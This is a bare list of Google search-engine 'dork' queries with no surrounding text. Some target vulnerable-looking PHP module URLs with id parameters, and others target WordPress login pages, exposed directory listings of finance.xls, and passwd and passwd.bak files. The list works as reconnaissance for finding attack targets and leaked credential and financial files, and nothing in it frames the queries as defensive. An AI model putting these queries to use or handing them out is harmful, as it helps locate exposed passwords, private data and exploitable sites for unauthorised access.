filetype:php inurl:index.php inurl:"module=subjects" inurl:"func=*" (listpages| viewpage | listcat)
intitle:"WordPress > * > Login form" inurl:"wp-login.php"
intitle: Index of finance.xls
intitle:index.of passwd passwd.bak
allinurl:loc_id "mod.php?mod=calendar"
allinurl:"mod php mod publisher"artid
allinurl:"mod.php?mod=gallery" id